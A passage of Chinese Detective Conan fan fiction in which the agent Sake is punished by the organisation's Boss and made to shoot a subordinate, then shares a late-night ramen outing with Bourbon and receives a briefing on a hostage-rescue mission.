他在组织待了这么多年,接触那位先生的次数屈指可数,而且对方从不亲自露面,大多是通过远程通话的方式交流。 在他的认知里,那位先生是站在组织最顶端的存在,是他们这些人忠诚效命的对象。但—— 这次,他为什么要见他? 羽泽熙真不是个蠢人。相反,他比谁都清楚,自己前段时间确实不怎么老实。 他动用了父亲留下的一些资源去调查苏格兰换搭档的事——只是一点调查,甚至没有干涉行动,查到的东西也不多,比如是莱伊在和苏格兰搭档,以及莱伊的行踪…… 但现在看来,那已经越过了某条看不见的界限。 他沉默了几秒,低低笑了一声。 “那就麻烦前辈了。” 琴酒眼神深沉地看着他,拽着他的衣领——连同那个不知何时晃荡出来的宝石吊坠——往前拖了一步,摸走了他身上的武器和通讯设施。 羽泽熙真没有挣扎,这时候干什么都只是在浪费力气。 他看着琴酒拉开后座的门。 一只手按在他的头顶,他被塞进了车里。 司机是个陌生的男人,一身黑衣,戴着墨镜,对他们的动作恍若未闻,车内安静得让人窒息。 琴酒也坐进后座,关上车门,接着向前探身,从副驾驶拿起一条黑色的布条。 羽泽熙真看了看那根布条,自觉地闭上眼睛。 厚实的布条被绕过他的眼睛,在后脑勺打了一个结。 世界变成了一片黑色,什么也看不见了。 点火的声响,车子启动了。羽泽熙真感受到车辆驶入了主路,随后又在某个路口转弯,直行,又转弯,似乎在兜圈子。 车速也忽快忽慢,有时推背感很强,有时像是静止。毫无安全意识的琴酒没有给他系安全带,他有时会突然被一个漂移似的急转弯甩到左边——撞到车窗玻璃,或者右边——撞到琴酒。 羽泽熙真快被晃吐了。 撞了几次之后,琴酒可能是终于意识到了问题所在,也可能是被撞疼了,干脆握住了羽泽熙真的右手腕,充当一个人形安全带的作用。 除了胳膊有点疼,效果还是不错的。 羽泽熙真甩了甩差点被晃成浆糊的脑袋,不动声色地在心里试着计算时间和方向,但很快,车子停了。 他被带下车,走了一段路,换了另一辆车,他不知道出发的时候车头朝哪边。 又行驶了一段时间,他们再次下车,又换了一次。 很麻烦。 羽泽熙真懒得再算方向了。他知道,对方的目的就是要让他彻底失去方向感,无法得知自己被带到了哪里。 不知过了多久,车子停下了,琴酒拉着他下了车。这次他们没再换交通工具,而是走进了室内,脚下变成了坚实的大理石地面。 走了一段路,他被推进一个房间,身后的门随即关闭,整个空间瞬间安静下来。 一片黑暗中,耳边传来了熟悉的、却又永远古怪的机械感的声音—— “清酒。” 是那位先生的声音,用了变声器。 羽泽熙真第一次听到时就觉得很不舒服,但听过几次,他已经习惯了一点。习惯到不会在被那声音叫到代号的时候,本能地皱一下眉。 羽泽熙真垂下眼,收敛起所有的情绪。 “Boss。”他态度恭敬地应道。 “清酒……” 那位先生慢条斯理地念着他的代号,两个音节拉成了三倍长。机械音听不出情绪起伏,却有种让人毛骨悚然的压迫感。 就像是有人站在高处,低头看着一只蚂蚁,轻声念出了它的名字。 “你最近的行动,似乎有些……操之过急了。” 羽泽熙真抬了抬头,挺直腰。 “我错了。” 他的眼睛还被蒙着,看不见对方在哪里,只能 凭声音的方向来判断——是从正前方传来的,大概六到八米远,高度大约在正常人的头部位置,或者再高一点。 那位先生轻轻笑了一下。 “哦?你知道自己错在哪里吗?” 羽泽熙真当然知道自己做了什么。他在组织里长大,从未怀疑过自己的立场,忠诚无可置疑,对各类规则也是烂熟于心。 组织不允许私自调查其他代号成员的信息。 但有些事他不明白。 如果只是普通的违反规则,大可以让琴酒直接警告他,或者敲打一番,而不是像现在这样——遮掩行踪,层层迷惑,让他彻底摸不清自己被带到何处,最终直面这个神秘又高高在上的声音。 那么,问题出在手段上吗? 羽泽熙真不明白,为什么他动用自己父亲遗留下来的势力,竟然会让那位先生亲自出面。 为什么明明是他父亲曾经留下的东西,他却不能碰? 他到底触碰到了什么? 但作为清酒的他很清楚,有些问题是不能问的。 他的思绪翻腾,面上却没有表现出丝毫迟疑。 “我擅自调动了外部资源,插手组织内部事务,给组织带来了不必要的动荡。” 他不需要多余的辩解。 对组织的绝对服从,是他从小到大接受的教育,也是他一直以来信奉的教条。 那位先生沉默了片刻,随后轻轻叹息了一声。 他的语气竟仿佛带上了一丝惋惜:“清酒,你的忠诚我从不怀疑……毕竟,你的父亲,曾也是组织最值得信赖的左膀右臂。” 羽泽熙真微微一怔,不自觉的抬手握住吊在脖颈间的宝石。 “但你要明白,”那位先生继续说道,“即便是你父亲,在组织里也有自己的位置……你也不例外。” ……“位置”? 羽泽熙真的心跳莫名一滞。 他从六岁就未再见过父母,所有的印象都来自于一点模糊的记忆、组织的资料和高层偶尔提及的只言片语。但他一直相信,自己是父亲意志的延续,是组织培养出来的利刃,而他终将成为和父亲一样的人。 他有些听不懂那位先生的深意,但,现在不是深究的时候。 “清酒,你的父亲为组织贡献良多,但你不该活在他的影子里。” “你的职责是服从,而不是自作主张。” 羽泽熙真的呼吸隐秘地收紧了一瞬,他强迫自己冷静下来。 “我明白了。” 那位先生似乎很满意他的态度,轻轻笑了一下。 “不过,既然犯了错,总该给你点教训,免得再犯。” 羽泽熙真毫无异议:“请您责罚。” 话音刚落,身后忽然传来一阵低沉的脚步声。 下一秒,羽泽熙真的肩膀被狠狠按住,力道大得让他猝不及防地半跪下去——膝盖撞上坚硬的地面,骨头震得发麻,他忍不住皱了皱眉。 冰冷的金属碰上了他的侧脸——是枪口。 一瞬间,死亡的气息近在咫尺。 “清酒。”那位先生的声音悠然响起,“你应该知道,组织最厌恶的是什么。” 很简单的问题,组织里的每个人都知道。 羽泽熙真低着头,声音冷静而服从:“背叛。” “很好。”那位先生缓缓道,“所以,你不会背叛,对吗?” “绝不。”羽泽熙真毫不犹豫地回答。 26.如期而至的惩罚(下) 羽泽熙真静静低着头,等待着。 跪在地上的膝盖麻木到失去了知觉,冰冷的枪口依旧抵在他的脸侧。 他们会开枪吗?或许会有一颗子弹从他脸侧的肌肉穿过,带掉几颗牙齿,留下两个血洞。那样的话,他今晚就不回公寓了,等伤好了再回去,不然没办法和波本解释。 那位先生却忽然笑了。 “清酒,你的脸怎么了?”他问,“琴酒已经罚过你了?” “……是。” 如果前辈打的那两下算的话。他的右脸和腹部还在火辣辣地痛。 又是半晌的沉默。羽泽熙真闭上眼睛,指尖微微蜷起,准备好迎接可能到来的冲击。 他的眼睛依然被遮住,一片黑暗中,他只能听得到自己的心跳声和细微的呼吸声。 每个人的呼吸声是不一样的,这是他在很小的时候就学会的东西——房间里至少有四个人。 他自己,他身侧的琴酒,还有两个人在左前方,离得有些远。更远的地方他听不清了。 “清酒。” “是。” “你的人,我已经帮你带来了。” “……” 左前方的两个人走近了,停在他正前方的位置。 他们的脚步声一轻一重,重的那个留在了原地,轻的那个又走远了。 “琴酒。”那位先生淡淡开口,“把枪给他。” 话音刚落,羽泽熙真肩膀一轻。琴酒松开了按住他的手,转而抓住他的手臂,用力往上一拽,他被直接从地上拖了起来。 膝盖已经跪麻了,羽泽熙真站不太稳,踉跄了一步,撞到琴酒的肩膀上。 “站好。”琴酒扶了他一把,随后把枪塞进他的手中。 是伯|莱|塔。不过触感有些不对劲,这把好像是琴酒的。 没等他多想,那位先生机械的嗓音在房间中响起。 “把枪举起来。” 羽泽熙真伸直手臂,举起了枪。 “我们优秀的清酒。虽然你被蒙着眼睛,但我相信,你应该能感觉到他在哪里。” “是。” 就在正前方,他的枪口指向了那人的左胸口,心脏的位置。那个人的眼神应当是木讷的,像个死人。 “清酒,你的父亲是不可多得的人才。”那位先生叹息,“他留下的人,现在可是用掉一个少一个了。” “……” “不觉得可惜吗?仅仅是因为你的一丝欲望,一个不该有的念头——你就失去了本属于你的珍贵资源。就算是我,也觉得非常心疼呢。” “……抱歉,Boss。”羽泽熙真说,“我觉得他们无关紧要。” “无关紧要……” 那位先生笑了一声,也许吧,从变声器里传出来的是古怪的“哈”的一声。 “很好。那么开枪吧,清酒。” 羽泽熙真扣下了扳机。 ——砰! 装了消音器的枪,声音依旧刺耳。 他面前那人倒在地上,呼吸声消失了。血腥味一点一点地扩散,和辛辣的火药味混在一起,布满了整个房间。 羽泽熙真把枪递向身旁,让琴酒接过它。 “还有别的命令吗?Boss。”他问。 “手疼么,清酒?” “不疼。” “那就好。”那位先生的声音里仿佛透着一丝欣慰,“清酒,我欣赏你的能力,也珍惜你的忠诚……但记住,你只需要做好一件事——服从。” 羽泽熙真垂下眼:“我知道了。” 他被带出了房间。 车辆在路面疾驰,偶尔急转弯时身体会随惯性微微倾斜,但羽泽熙真没有再去计算路线,安静地坐在后座。琴酒坐在他身旁,依旧充当着人形安全带的角色。 一路上没人开口。直到车子猛地一震,停在某处。 羽泽熙真听到车门打开的声音,下一秒,肩膀被一把拽住——是琴酒的手,他被强行拉出了车门。 微风带着暑热,透过衣料渗入皮肤,他立刻判断出自己被带回了原来的公寓楼下。 蒙眼的布料被粗暴地扯下。 黑暗的街道,昏黄的路灯,熟悉的环境让羽泽熙真下意识眨了眨眼,适应骤然恢复的光线。 然后,又是一记重拳—— 毫无预兆的,琴酒又给了他一拳,直直砸在腹部。 羽泽熙真闷哼一声,身体被迫弯了下去。 “自己找死。”琴酒冷声说。 明明提前警告过清酒别说错话,结果到头来他还是那副腰都不肯弯一下的样子,早晚有天要玩出事。 羽泽熙真喘了口气。呼吸的时候肋骨下面疼,胃也疼,脸也疼。 他抬起头,迎上琴酒冷冽的眼神。 “下手真狠啊,前辈。” “听着,别再让我有第二次把你从那位先生那里捞回来的机会。”琴酒低声,“你以为自己是谁?” 今天琴酒要是没提前给他两下,说不定他挨的就不止是拳脚这么简单了。羽泽熙真对此心知肚明。 他看着琴酒,弯了弯眼睛。 “放心,下次绝对不会再让前辈费心了。” 绝对,不会了。 琴酒盯着他半晌,最终冷哼一声,转身上了车。 羽泽熙真目送那辆黑色轿车远去,看着尾灯彻底消失在夜色中。 他轻轻叹了口气。 夜风吹过,他才感觉到后背已经被冷汗浸透,手指也有些发凉。 琴酒的警告、那位先生的态度、还有那句……“你的父亲,也有自己的位置”。这些东西都像是伏在暗处的蛇,缓慢地缠上他的喉咙,一圈一圈的,让他有些窒息。 他捏了捏胸前的宝石吊坠,把那点不舒服的情绪压下去,抬脚走向公寓楼。 推开门,房间里亮着灯,电视开着,安室透显然已经回来了。 “我回来了。”羽泽熙真说。 “你回来了。” 声音是从厨房的方向传来的。安室透端着一杯水走过来,视线落向羽泽熙真脸上的淤青。 他挑了挑眉。 “清酒大人,这么晚才回来啊。先吃饭,还是先洗澡?” 羽泽熙真瞥了一眼手腕上的表。路上绕来绕去的废了不少时间,琴酒叫他出门的时候是傍晚,现在已经是凌晨了。 “没有第三个选项吗?”他问。 “喔,你想干什么?” “我想睡觉。” 羽泽熙真凑过去抢走了安室透手里的水杯,仰头一口气灌了下去。凉丝丝的水稍稍缓解了胃部的不适感。 安室透耸耸肩。 “清酒大人这是和谁出去打架了吗?” “是啊。”羽泽熙真把空杯还给他,“和前辈有点小误会,进行了一些……比较深入的交流。” “看来你对交流结果不太满意。” “还好吧。”羽泽熙真一边说着,一边往浴室的方向走,“今天没被打死,我 其实已经很满意了。” “……” 到了浴室门口,他一转头,安室透居然还跟在后面,手里拿着那个空杯子,满脸探究地盯着他看。 “……你干什么?”羽泽熙真无奈,“想和我一起洗?” “如果你需要的话。” “不需要。” 羽泽熙真走进卫生间,砰的关上门。他听到安室透在外面轻轻笑了一声,“呵”的一下,然后慢慢走远了。 他打开了灯,又随手向口袋里摸去,结果摸了个空——打火机不见了。 诶,等等?! 他一愣,又摸向另一个口袋,也是空的。 手机也没了。 琴酒把他的武器和通讯设备都没收了,走的时候没还回来,现在他身上什么都没有了。 怎么办,现在去找波本要手机给前辈打电话吗? 算了,前辈大概没空管这点小事。羽泽熙真想。还是明天去据点拿吧,不知道明天前辈在不在据点…… 他把衣服脱掉扔进脏衣篓,快速冲了个澡,换上宽松的浴袍。 背上的黏腻被水冲走,身上清清爽爽的,这让羽泽熙真觉得舒服多了。 他也有余力开始思考一些事情。 比如明天应该怎么向波本解释……他这明显被人打了一拳的脸,在第二天就莫名其妙的光洁如初了。 或者不解释,干脆随便涂点遮瑕,就说自己为了方便见人,把淤青遮住了? 似乎可行。 羽泽熙真一手用毛巾揉着湿漉漉的头发,另一手打开了洗手台旁的柜子,里面塞满了各种瓶瓶罐罐——洗发水,护发素,沐浴露,洗面奶,还有一些乱七八糟的护肤品和化妆品。 化妆刷,粉底,隔离霜,遮瑕膏……嗯,使用顺序是什么来着?他一时有点想不起来。 这些东西落灰几年了,不知道还能不能用。 应该没什么大问题。 他把它们摆在洗手台上,随后关了灯,走出卫生间。 原本他打算直接回屋睡觉,但在客厅的安室透听到他洗完澡了,突然开始喊他。 “清酒——” 羽泽熙真没应,安室透又喊了一声。 “清——酒——?” “怎么了?” 羽泽熙真无奈地调转了脚步。 安室透站在客厅,看他走过来,远远指了下餐桌上的黑色塑料袋。 “那个,你的前辈刚刚送来的,说是让我给你,但又不让我碰。最后他自己进来放桌子上了。” 前辈送来的? 羽泽熙真拆开袋口的结,里面果然是他刚刚被没收的那些东西,一个没少。但被黑色的袋子装着,它们看起来就像是一兜垃圾。 “他给了你什么?”安室透好奇。 “一兜垃圾。” “……”安室透自讨没趣地摊摊手。 他换了个话题。 “清酒,我好像有点饿了。” 羽泽熙真觉得,安室透如果饿了应该去吃饭,而不是在这里和一个刚洗完澡,并且马上准备去睡觉的室友撒娇。 “厨房在那边,”他扬了扬下巴,“要吃什么自己找。” 安室透没动,显然不怎么想去。 “我们出去吃吧?附近这个时间还在营业的店不多,似乎有家不错的拉面……” “我们?” “嗯,我们。”安室透笑道,“外面好黑啊,我有点害怕呢,清酒大人。” 27.深夜出行请提高警惕 最后还是去了。 羽泽熙真拎着那一兜东西回了房间,脱掉浴袍,换上外出的衣服,随后让零碎的小东西们一一归位。 口袋里的重量又回来了,这让他觉得踏实了一点。 安室透说的拉面店在两公里外的商业街。这个时间,大多店铺都关门了,只剩下几家二十四小时的便利店,但拉面店还开着。 那是一家装修陈旧的小店,看起来有些年头了,连门头都破破烂烂的。 偏偏名字起得很自信。 【好吃的要死小仓拉面】 羽泽熙真有时会路过这里,但他从来没进去过。白天人太多,排队的人多到能占据隔壁的理发店——而晚上他出门,一般都不是为了闲逛。 他戴着口罩和帽子,和安室透走进店里。 店里的装修和外面比也没有好到哪里去,龟裂的墙壁,泛着油光的红木桌椅,而且一个客人都没有。 如果不是平时人真的很多,他们这会儿就该打退堂鼓了。 “欢迎光临——” 柜台后富态的中年男人笑眯眯地朝他们打招呼。他头顶扎着一条毛巾,大概是这家店的店长兼主厨,姓小仓,“美味的要死拉面”就出自他手。 “两位想吃点什么?可以看看菜单。” “我们是第一次来,”安室透笑笑,“请问有什么推荐吗?” “当然是阎魔大王拉面!”一个年轻的女声抢先一步回答了。 不是小仓老板在说话,店里还有其他人。 羽泽熙真循着声音看过去,一个年轻女孩推开门,从门后的卫生间走进屋里。她二十出头的样子,留着一头短发。 “两位,我们店里也有味噌拉面、沾面,不过不保死喔。”她很热情,“最推荐的,当然还是我们的招牌——阎魔大王拉面,保证好吃得要死!” 她用手在自己的脖子上比划,做了一个“咔嚓”的手势。 羽泽熙真暂时不太想死,但既然她都这么说了,他也懒得再费力气做选择。 他扭头和安室透对视一眼。 ——帮我点。 安室透心领神会地移开了目光:“那么,两份阎魔大王拉面,谢谢。” “好嘞。” 小仓老板转身,从案板上拿起一把面,放进沸腾的锅里。热汤翻腾,店里豚骨汤的香气越发浓郁。 羽泽熙真打了个哈欠,懒洋洋地抬手,在桌子上支起自己的脑袋。 “这位小哥。”店员女孩凑过来,“你穿得那么多,不热吗?” 她这么问,是因为羽泽熙真的穿搭完全不像个正常人。 现在是盛夏,一年中最热的时候。就算晚上不如白天温度高,但二十多度是有的,尤其是在一家热气腾腾的拉面店里,开了空调也无济于事。 他身旁的安室透只穿了件短T,清清爽爽的,而他不仅长袖长裤配外套,还一直没摘口罩和帽子。 店员女孩大概很担心他会不会突然中暑,人事不省地倒在店里。 “没事的。”羽泽熙真抬起帽檐,朝女孩笑笑,“我这个人比较怕冷,见笑了。” “没有没有!”女孩忙摆手,“不好意思……” “——面好喽,两位。” 小仓老板把面逐一放到他们面前,于是没有人再在意刚刚的话题了。 那是分量很足的一碗面。深褐色的汤底上飘着几片海带,小山似的笋干堆在最上层,第一眼居然找不到拉面在哪里,旁边还有叉烧和半个黄橙橙的溏心蛋。 呃……原来是笋干拉面。羽泽熙真后知后觉地意识到,笋干和阎魔是谐音,所以老板才取了这么个名字。 中年男人的幽默感啊。 他和安室透一样双手合十,轻轻说了一声“我开动了”。 随后他往下拉了拉口罩,夹起一筷子面,吹了吹,送进嘴里。 ……琴酒那一拳似乎把他的牙打得有点松了。咀嚼的时候很疼,整张脸都跟着疼。 但面还不错。 面条很有嚼劲,汤底咸香鲜美,笋干也有特色,脆脆的,至少羽泽熙真在别处没吃到过这样的笋干。这碗面的确对得起这家店的店名。 他一口口慢慢吃着,被折磨半日的胃终于在此刻得到了些许慰藉。 突然,安室透把什么东西放在了他的手边,手背立刻感受到了丝丝凉意。 羽泽熙真抬起头,是一罐啤酒。似乎是刚刚他和店员聊天时,安室透起身去冰柜里拿来的。 “喝吗?”安室透看着他。 羽泽熙真不想喝,但也不想拒绝。就像他在这时候被安室透喊出门吃拉面一样。 他没说什么,拉开拉环,仰头灌了一口。 很快,面吃完了,酒也喝完了。 羽泽熙真看着安室透掏出现金付了账,跟着他走出店门。 他们开了车来,羽泽熙真下意识想去停车的地方,但安室透轻轻拽了他一下。 哦,对。 他也意识到,他们是喝了酒的,不能开车。 那就走回去吧,反正也不算太远。 深夜一片安然的静谧中,他们并肩,沿着人行道往回走。 “对了,清酒。”安室透忽然开口,“你和琴酒打架,最后是谁赢了?” 明知故问啊。他刚刚见到了琴酒,而琴酒的脸上可没有一大块淤青。 “前辈赢了。”羽泽熙真说。 “喔。”安室透若有所思地捏着下巴,“你是不想打,还是打不过?” “打不过。” “这样……” 安室透的信息库里大概又多出了什么东西,羽泽熙真懒得管。 “说起琴酒,他今天来公寓时,好像哪里有些奇怪。” 羽泽熙真偏过头看了他一眼。“奇怪?” 怎么,还想打人? “嗯。”安室透点点头,“他是来给你送东西的,送完应该直接离开,不是吗?但他要走的时候,突然和我说了一句话。” “什么话?” “他说……”安室透清了清嗓子,声音压低了,模仿琴酒的语气,“‘波本,你和清酒……’” 说到这里,他不出声了。 “我和你怎么了?”羽泽熙真疑惑追问。 “不知道。”安室透耸耸肩,恢复了原本的清澈声音,“他也只说到了这里,沉默了一下,扭头就走了。” 羽泽熙真在脑子里简略模拟了当时的情景,但他也没能推演出琴酒到底想说什么。 可能是想叮嘱一句好好相处之类的,又觉得说了太多余吧。 没什么大问题。 他们拐进了一条小巷,从这里走会比人行道的路程更短些。 中间的路段很黑,深夜在这种地方行动并不安全,不过考虑到二人的武力值以及身上道具的丰富性,真的碰到危险,哪边更危险也很难说。 适度的酒精能使人放松,就算是两个平时警惕性极高的组织成员也一样。 在安室透的带领下,话题逐渐拐向了乱七八糟的方向,情报组某个成员——比如莫吉托,朗姆手下的一个情报员——之前偷偷摸摸的在做什么小动作,行动组某个成员——比如伊森本堂——私下里喜欢去哪家店里吃饭。 诸如此类。 ——咣当! 突然,不远处传来一阵叮铃哐啷的巨响,还有什么东西滚落的声音,打断了他们的闲聊。 羽泽熙真下意识摸向腰间的枪,朝着声音的方向望去。 那里有两个铁质的垃圾桶,旁边还堆着几个满满当当的垃圾袋,看不清后面有什么。 “喵……” 小声的猫叫。 “是猫啊?”安室透也盯着那里。 “也可能是正在装猫叫的人。”羽泽熙真压低了声音,“怕不怕,波本大人?” “……请不要说那么恐怖的事。” 窸窸窣窣的声响。 垃圾袋动了动,一个圆滚滚的橘色东西从后面灵巧地挤了出来。 那是一只炮弹似的橘猫。 看到它晃荡的大肚腩,羽泽熙真瞬间就理解了为什么刚刚的声响会那么巨大。 “它怀孕了吗?”安室透问。 “……但它是一只公猫。”羽泽熙真说。 “这样。” 所以只是单纯的胖。 橘猫尾巴翘得高高的,朝他们不紧不慢地走了几步,忽然在原地犹豫地顿了顿。 它的前脚抬起,悬在空中,又落下。 随后它一屁股坐在了地上。 安室透看了看似乎有点想离开的羽泽熙真,又看了看猫,蹲下身去。 “小猫,”他轻声说着,伸出手,“来,过来——” 橘猫粗壮的尾巴在地上拍了两下。 思考了片刻,它居然真的站起身,朝着这边走了过来。 安室透:“!” 他眼睛一亮,身体微微前倾,手伸得更远了一些,等着那只圆滚滚的小炮弹撞进他的掌心。 嗯,它的确走了过来。但就在接近安室透时——它一扭腰绕了个弯,圆滚滚的身体以一种不可思议的灵巧姿态,避开了蹲在地上的男人。 安室透:“……” 羽泽熙真低头,看着迈着猫步凑过来,蹭得他满裤脚都是毛的肥猫:“……” 波本非要招惹它干什么??现在好了,裤子不能要了。 “你认识它?”安室透试图挣扎。 “不认识。” 羽泽熙真表示自己还没有闲到和大街上的每一只猫交朋友。 “好奇怪。”安室透撇撇嘴,撑着膝盖站起身,“它只喜欢你。” 橘猫绕着羽泽熙真转来转去,用头拱他的小腿,用身体蹭他的裤脚,用尾巴缠他的脚踝。 它时不时抬头,冲着他“喵嗷”的短促叫一声。 “那是因为,它是一只聪明的小猫。”羽泽熙真说。 “嗯?” 羽泽熙真笑了笑,伸手在外套口袋里摸索片刻,在安室透的注视下,他掏出了—— 一小包用密封袋装着的猫粮。 安室透:“……?” 首先,羽泽熙真不养猫。其次,安室透从来没在公寓里看到过猫粮。这个情景给他带来的疑惑程度不亚于看到一个幼儿园的小朋友在路上停下脚步,从可爱的小衣服口袋里掏出一把开了刃的匕首。 羽泽熙真拆开密封袋的封口,闻到香气的橘猫顿时更激动了,绕着圈左转右转,眼睛盯着他的手不放。 他把想了想,袋子递给了安室透。 “你来吧。” “我来?”安室透一愣。 “嗯。”羽泽熙真往后退了半步,“它太激动了,可能会扑我的手。” 而且他的手上有摔倒时留下的擦伤,虽然应该不会感染,但他不怎么想碰这些东西。 “好吧。” 安室透拎着那袋猫粮,走远了一点,蹲下身撒在地上。 橘猫果然被吸引过来,低下头嘎嘣嘎嘣嚼得起劲。 他们看着它把猫粮吃得一颗不剩,地面干干净净的,连碎屑都没有留下。 确定再要也没有了,橘猫舔舔嘴巴,一步三回头,依依不舍的回到了它的垃圾堆王国里。 “走吧。”羽泽熙真说,“回家。” “好。” 安室透应道。 他们转过身,继续沿着巷子往回走。 28.雷兹(1)开始之前 “莫吉托那边你不用管,他会收拾好剩余的事。”琴酒边讲着,用食指不轻不重地敲了下桌子,“你们只需要完成刚刚我告诉你的那部分……” “知道了,前辈,知道了。” 羽泽熙真懒洋洋地撑着下巴,声音拖得长长的,尾音还没落地就先打了个哈欠。 现在是正午,三号据点的会议室里冷气开得很足。他刚刚听琴酒唠叨了半天,眼皮在不由自主地打架。如果不是顾及到琴酒还没讲完,他这会儿都要趴在桌子上睡着了。 琴酒“啧”了声,从桌子对面绕过来,一步,两步,三步,停在他身侧。 羽泽熙真还没来得及抬头,一沓厚厚的文件就拍在了桌子上。 “困了?” “困了——呜!” 脑门上挨了一下。 琴酒面无表情地重重地给了他一个脑瓜崩。挺疼的。 “外面三十五度了,清酒。精神点。”琴酒把手插回风衣口袋里,冷绿色的眼睛从帽檐下面看着他,“重复一遍任务。” “空调开得太低了嘛……” 羽泽熙真揉着自己的额头,嘴上抱怨着,但还是强撑着打起了点精神,坐直身子。 他伸手拿起桌上那沓资料,翻了两页,从里面挑出一张照片,朝琴酒晃了晃。 照片上是一个棕头发的男人,侧脸对着镜头。他三四十岁的样子,叼着雪茄,眼睛眯着,眼神警惕。大概是在某个场合注意到了有人在拍他,但又没有找到摄影师在哪里。 希望摄像师现在平安无事。羽泽熙真漫无边际地想。 他把照片翻过来,背面用黑色记号笔写着男人的名字——雷兹·沃纳。 “我们要从这个人手里把人质捞出来,然后把他连人带货留下,对吧。”羽泽熙真说。 “嗯。”琴酒点点头,“可以了,去隔壁把伏特加喊来,困的话自己去找地方睡觉。” “遵命。” 羽泽熙真伸了个懒腰,慢吞吞地站起身。 原本他来据点就是为了找苏格兰商量一下任务的事。琴酒之前给他发了简略的资料和要求,按照那个执行就可以。 但一来据点,他就迎面撞上了看起来很闲的琴酒。琴酒掐掉了烟,拉着他进屋,对着眼前详细版的任务信息又详细讲了一遍。都是些“如果A就B,如果C就D”的预案,琴酒很少这么细致地讲解一个任务,讲了就得听。 他把桌上的那沓文件拢了拢,码整齐,准备带走,走了两步又停下来,回头看了一眼琴酒。 “前辈,这些我拿走了?” “拿走。” “喔。” 就在他要推门出去时,琴酒又出声叫住了他。 “清酒。” “嗯?”羽泽熙真回头。 “……莫吉托是情报组的人。”琴酒看着他,“波本要做什么的话,多注意盯着点。” 羽泽熙真眨了眨眼,随即笑开。 “我知道的,前辈。放心。” 隔壁是休息室,几步就走到了。他随手从口袋里摸出顶鸭舌帽戴上,敲敲门,往后退了两步等着。 很快,门被推开了一条缝,伏特加探了个脑袋出来。 “清酒?” “前辈找你。” “哦,你们聊完了。” 伏特加从门里走出来,乐呵呵地朝他咧嘴一笑,露出一口白牙。 “苏格兰在屋里。我刚刚和他聊起你呢。” 羽泽熙真挑了挑眉。 说起来,伏特加和苏格兰的关系似乎一直都不错。 两年前,伏特加被派来给琴酒做搭档。表面上看,他平时有事没事的就跟在琴酒后面“大哥大哥”的叫,除了开车没什么用的样子。但那是因为琴酒的综合素质过于强劲,任务也大多是些靠武力值就能完成的,没有机会给他施展。 事实上,和波本一样,伏特加是个不折不扣的情报人员。甚至他对电脑技术的研究比组织里很多人都要强——他对代码有热情,愿意花时间去钻研那些大多数人觉得枯燥的东西。羽泽熙真有时也会喜欢找他帮忙做一些实用的小工具,比如那天用来吓唬波本的U盘。 说回正题,伏特加对计算机有研究,而现在大多人都还不怎么重视这类技术。偏偏苏格兰似乎还挺感兴趣的,有一次他见到伏特加摆弄电脑,就凑了上去。他站在伏特加身后,看他在键盘上敲代码,问“这是什么”“这有什么用”“这个怎么实现的”。 他一边提问一边夸,说伏特加先生真的很厉害,这个东西他以前都没见过,伏特加被夸得不好意思,摸了摸后脑勺,说“也没什么厉害的,就是多看看书就会了”。 然后伏特加对苏格兰的好感度就一天比一天高了。 现在他们之间的关系好到可以在休息时间一起打游戏,苏格兰会带自己做的小零食给伏特加吃,伏特加会给苏格兰分享他最近在研究的新技术。 “你们说了我什么坏话?”羽泽熙真问。 “说你和波本不写任务报告。”伏特加扶了下脸上的墨镜。“清酒,你不写就算了,怎么还不让波本写啊?苏格兰可是每次任务都老老实实地交了报告。” 那不一样,羽泽熙真想。苏格兰的作为一个狙击手的任务报告,时间,地点,距离,风向,结果,五十字就能写结语。而他和波本如果要写的话,一千字怕是只能写个开头。 “嗯……的确不太公平。”羽泽熙真轻轻笑了声,“我一会儿会告诉苏格兰,让他也不要写了。” “喂喂。” 绿川光坐在休息室的沙发上,看到羽泽熙真进来,他弯了弯眼睛。 “琴酒先生讲完了?” “讲完了。” 羽泽熙真顺手把资料扔在桌子上,往里走了几步,直愣愣地倒在了休息室的床上。有点硬,不太舒服,但也能凑合一下。 他闭了一会儿眼睛,又睁开,盯着天花板。 “还是那些东西,说是让波本先去和他谈谈,稳住他,等到交易的时候再一网打尽。” 雷兹·沃纳。一个在东南亚活跃了很多年的军火商。组织和他有过几次合作,都是莫吉托负责操办的。 前几次交易都还算顺利,价格没问题,货物也没问题。只是这次,不知道雷兹是在想什么,莫名其妙地扣下了莫吉托派去看货的下属。 不管他是想给自己留一点保障,还是想谈些什么条件,组织不可能容忍他胆大包天的行为。这种人,你退一步,他就进两步。你让他一分,他就要一寸。 所以,这是最后一次交易了。 “清酒,”绿川光拿起资料翻看着,“你觉不觉得……这次的行动人员有些太少了?” “少么?”羽泽熙真翻了个身,“只有关键的地方是我们三个去做,其他的不用管。” 绿川光伸出三根手指,若有所思地开始数着。 “波本负责前期和雷兹的交流——他是要去雷兹常去的酒吧,对吧?确保能尽可能多的把雷兹的家底掏干净。” 他弯下无名指,还剩两根。 “我要负责远程支援,解决掉雷兹本人,或者他的保镖,或者妨碍你行动的人。” 中指也弯下去了。现在只有一根食指还孤零零的竖着。 “最后,你要自己一个人潜入关押地点带走人质,然后在他们兵荒马乱的时候带着一个情况不明的成年男性突围安全撤离。”绿川光皱着眉把食指弯下去,“风险太大了。” 羽泽熙真躺在床上,打了个哈欠。 “别担心,行动的时候波本也会来帮忙的。”他漫不经心地说,“而且前辈最近看我不太顺眼,大概在针对我吧。” 绿川光站起来:“我去和琴酒先生谈谈——” “等等,苏格兰。”羽泽熙真忙开口拦他,“我是在开玩笑啦,救个人而已,没问题的。而 且人质也不是什么重要人物,如果实在做不到,我不会逞强。” “……好吧。” 绿川光依旧有些疑虑地坐了回去。 这样的安排,对他来说压力也没有小到哪里去。最初的混乱需要由他挑起,而在开枪之后,他的位置就会暴露。 敌人会循着枪声的方向搜索,他必须在被找到之前撤离。但大幅度移动会使他错过掩护清酒的机会,他必须确保清酒的安全,不能离得太远。 并且,如果可以的话,他不想造成太多伤亡。 非常棘手。 绿川光还想和羽泽熙真再商量一下具体对策,但一抬眼,话到嘴边又咽了回去。 不远处的床上,黑发的年轻人已经睡着了。 羽泽熙真侧躺着蜷缩在床上,面朝着门口的方向。他的膝盖弯曲着往胸口收,手臂交叠在胸前,右手一半埋在枕头下。 他摘掉了鸭舌帽,额头露了出来,上面有一块小小的红印,似乎被蚊子叮了。 呼吸平稳而均匀,看起来他睡得很香。但绿川光并不想试图去找条毯子给他盖上——他知道,现在只要他轻轻一动,羽泽熙真就会立刻醒来,那双金色的眼睛里连一丝惺忪睡意都不会出现。 他静静垂下眼睛。 但即便绿川光保持了安静,羽泽熙真也没能安稳地睡多久。 一个突然的电话惊醒了他。 他睁开眼,坐起身来,摸出还在震动的手机看了眼——是波本打来的。 